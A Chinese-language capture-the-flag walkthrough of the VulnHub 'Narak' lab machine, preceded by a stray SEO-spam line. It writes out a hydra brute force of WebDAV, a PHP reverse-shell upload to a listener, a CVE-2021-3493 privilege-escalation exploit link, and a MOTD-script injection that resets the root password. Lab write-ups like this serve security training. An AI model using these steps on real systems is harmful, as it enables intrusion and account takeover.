貴港網(wǎng)站設(shè)計(jì)免費(fèi)發(fā)布網(wǎng)站seo外鏈
靶機(jī):
https://download.vulnhub.com/ha/narak.ova
推薦使用 VM Ware 打開靶機(jī)
難度:中
目標(biāo):取得 root 權(quán)限 + 2 Flag
攻擊方法:
- 主機(jī)發(fā)現(xiàn)
- 端口掃描
- 信息收集
- 密碼字典定制
- 爆破密碼
- Webdav 漏洞
- PUT 方法上傳
- BF 語(yǔ)言解碼
- MOTD 注入
- CVE-2021-3493 提權(quán)
主機(jī)發(fā)現(xiàn)
arp-scan -l
嘗試發(fā)現(xiàn)是192.168.31.26
端口掃描和服務(wù)發(fā)現(xiàn)
nmap -p- 192.168.31.26
nmap -p22,80 -sV -sC 192.168.31.26
發(fā)現(xiàn)開啟了 Apache 的服務(wù),然后可能是 Ubuntu 系統(tǒng)
按照慣例查看 80 端口的 Web 頁(yè)面,發(fā)現(xiàn)是一個(gè)恐怖的地獄的圖片,地獄的大門由一個(gè)有著三個(gè)頭的大狗來(lái)看守著
目錄掃描
dirsearch -u http://192.168.31.26/
發(fā)現(xiàn)了 Webdav 路徑
- Webdav 是一種 Web 技術(shù),可以實(shí)現(xiàn)類似于 FTP 那樣的傳輸文件的功能
- 401狀態(tài)碼表示“未授權(quán)”(Unauthorized)。這通常意味著請(qǐng)求需要用戶進(jìn)行身份驗(yàn)證
訪問(wèn) Webdav 路徑發(fā)現(xiàn)果然需要認(rèn)證
dirsearch -u http://192.168.31.26/ -f -e html,txt,php -w /usr/share/wordlists/dirb/common.txt
再掃描一下
dirsearch
:調(diào)用 dirsearch 工具。-u http://192.168.31.26/
:指定目標(biāo) URL,也就是掃描的目標(biāo)網(wǎng)站。-f
:強(qiáng)制顯示所有掃描結(jié)果,包括狀態(tài)碼為 404(未找到)的結(jié)果。-e html,txt,php
:指定要掃描的文件擴(kuò)展名列表,分別為.html
,.txt
, 和.php
。-w /usr/share/wordlists/dirb/common.txt
:指定字典文件路徑,即使用common.txt
作為詞列表來(lái)進(jìn)行掃描。這個(gè)文件通常包含常見的目錄和文件名。
發(fā)現(xiàn)了一個(gè) /tips.txt
文件
要打開地獄的大門就查看這個(gè)文件 creds.txt,但是訪問(wèn)了沒(méi)有,應(yīng)該是一個(gè)誤導(dǎo)
暴力破解
- 密碼字典定制
- cewl 是一個(gè)用于從指定 URL 提取單詞列表的工具,通常用于創(chuàng)建字典文件以供密碼破解等任務(wù)使用。
cewl http://192.168.31.26/ -w dict.txt
hydra -L dict.txt -P dict.txt 192.168.31.26 http-get /webdav -v
成功獲得一個(gè)賬號(hào)密碼 yamdoot
Swarg
通過(guò) webdav 的請(qǐng)求方式,通過(guò) PUT 方法,通過(guò) webdav 的服務(wù),可以將本地的 Webshell 上傳上去
davtest -url http://192.168.31.26/webdav/ -auth yamdoot:Swarg
- davtest 是一個(gè)用于測(cè)試 WebDAV 服務(wù)上文件上傳和執(zhí)行漏洞的工具。
- 執(zhí)行這個(gè)命令后,davtest 將會(huì)嘗試連接到指定的 WebDAV 服務(wù)地址,并使用提供的認(rèn)證信息進(jìn)行登錄。接著它會(huì)嘗試上傳各種類型的文件,并檢查這些文件是否可以成功上傳和執(zhí)行,以評(píng)估 WebDAV 服務(wù)的安全性。
測(cè)試上傳了很多文件在路徑下都 SUCCEED 成功了
PHP 可以成功解析,說(shuō)明目標(biāo)服務(wù)器是 PHP 的環(huán)境
反彈Shell
直接在 kali 里面用自帶的 Webshell上傳上去
cp /usr/share/webshells/php/php-reverse-shell.php .
代碼里修改,改成 kali 本機(jī)的IP
davtest -url http://192.168.1.5/webdav/ -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc rev2.php
上傳成功(我網(wǎng)絡(luò)環(huán)境改變,所以重新上傳了 rev2.php)
刷新一下 webdav 路徑就看見 rev.php 了
nc -lvnp 1234
反彈shell
bash -i
或者 python3 -c "import pty;pty.spawn('/bin/bash')"
升級(jí)一下 shell
提權(quán)
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
這個(gè)命令用來(lái)查找根目錄及其子目錄中所有屬于root用戶的文件,這些文件具有如下權(quán)限:用戶和組可以執(zhí)行,其他用戶可以寫入。
find /
: 這個(gè)命令表示在根目錄(/)下進(jìn)行查找。-type f
: 這個(gè)選項(xiàng)表示只查找文件,不包括目錄或其他類型的文件系統(tǒng)對(duì)象。-user root
: 這個(gè)選項(xiàng)表示只查找屬于root用戶的文件。-perm -ug=x,o=w
: 這個(gè)選項(xiàng)表示查找文件權(quán)限中,用戶組(u)和群組(g)具有執(zhí)行權(quán)限(x),而其他用戶(o)具有寫權(quán)限(w)的文件。-exec ls -l '{}' \;
: 這個(gè)選項(xiàng)表示對(duì)每個(gè)符合條件的文件執(zhí)行ls -l
命令,以長(zhǎng)格式列出文件的詳細(xì)信息。'{}'
是占位符,表示當(dāng)前找到的文件名。2>/dev/null
: 這個(gè)部分將標(biāo)準(zhǔn)錯(cuò)誤輸出重定向到/dev/null,以便忽略錯(cuò)誤消息。
cat /mnt/hell.sh
然后發(fā)現(xiàn)這是一串 Brainfuck 編碼
使用在線網(wǎng)址 https://www.splitbrain.org/services/ook 解碼,獲得 chitragupt
字符串
猜測(cè)它是一個(gè)密碼,嘗試登錄 inferno 賬戶成功
收獲第一個(gè) flag
方法一:CVE-2021-3493
漏洞利用代碼: https://github.com/inspiringz/CVE-2021-3493/tree/master
gcc exp.c -o exp
編譯好之后上傳到目標(biāo)服務(wù)器的主目錄
scp exp inferno@192.168.1.5:~/
:
符號(hào)將用戶名和遠(yuǎn)程主機(jī)地址與目標(biāo)路徑分隔開。~/
是目標(biāo)路徑,表示遠(yuǎn)程主機(jī)上用戶inferno
的主目錄。~
是 Unix/Linux 系統(tǒng)中表示用戶主目錄的快捷方式。
我的 kali 版本太高了,GCC的版本也是
這個(gè)錯(cuò)誤信息表明你嘗試執(zhí)行的二進(jìn)制文件 ./exp 依賴于 libc.so.6 庫(kù)的一個(gè)更高版本(GLIBC_2.34),而當(dāng)前系統(tǒng)上的 libc.so.6 版本較低,無(wú)法滿足這個(gè)依賴。
那我直接把編譯好的傳過(guò)去算了
方法二:MOTD 注入
- motd 是 message of the day 的縮寫
重新運(yùn)行 find / -type f -user root -perm -ug=x,o=w -exec ls -l ‘{}’ ; 2>/dev/null 看看,發(fā)現(xiàn)其他的都是在 /etc/update-motd.d/ 目錄下的,都是一些腳本
vi /etc/update-motd.d/00-header
添加 echo ‘root:123’ | chpasswd 修改 root 賬號(hào)的密碼
重新登錄的時(shí)候,那個(gè)腳本(/etc/update-motd.d/00-header)會(huì)以root賬號(hào)的權(quán)限來(lái)執(zhí)行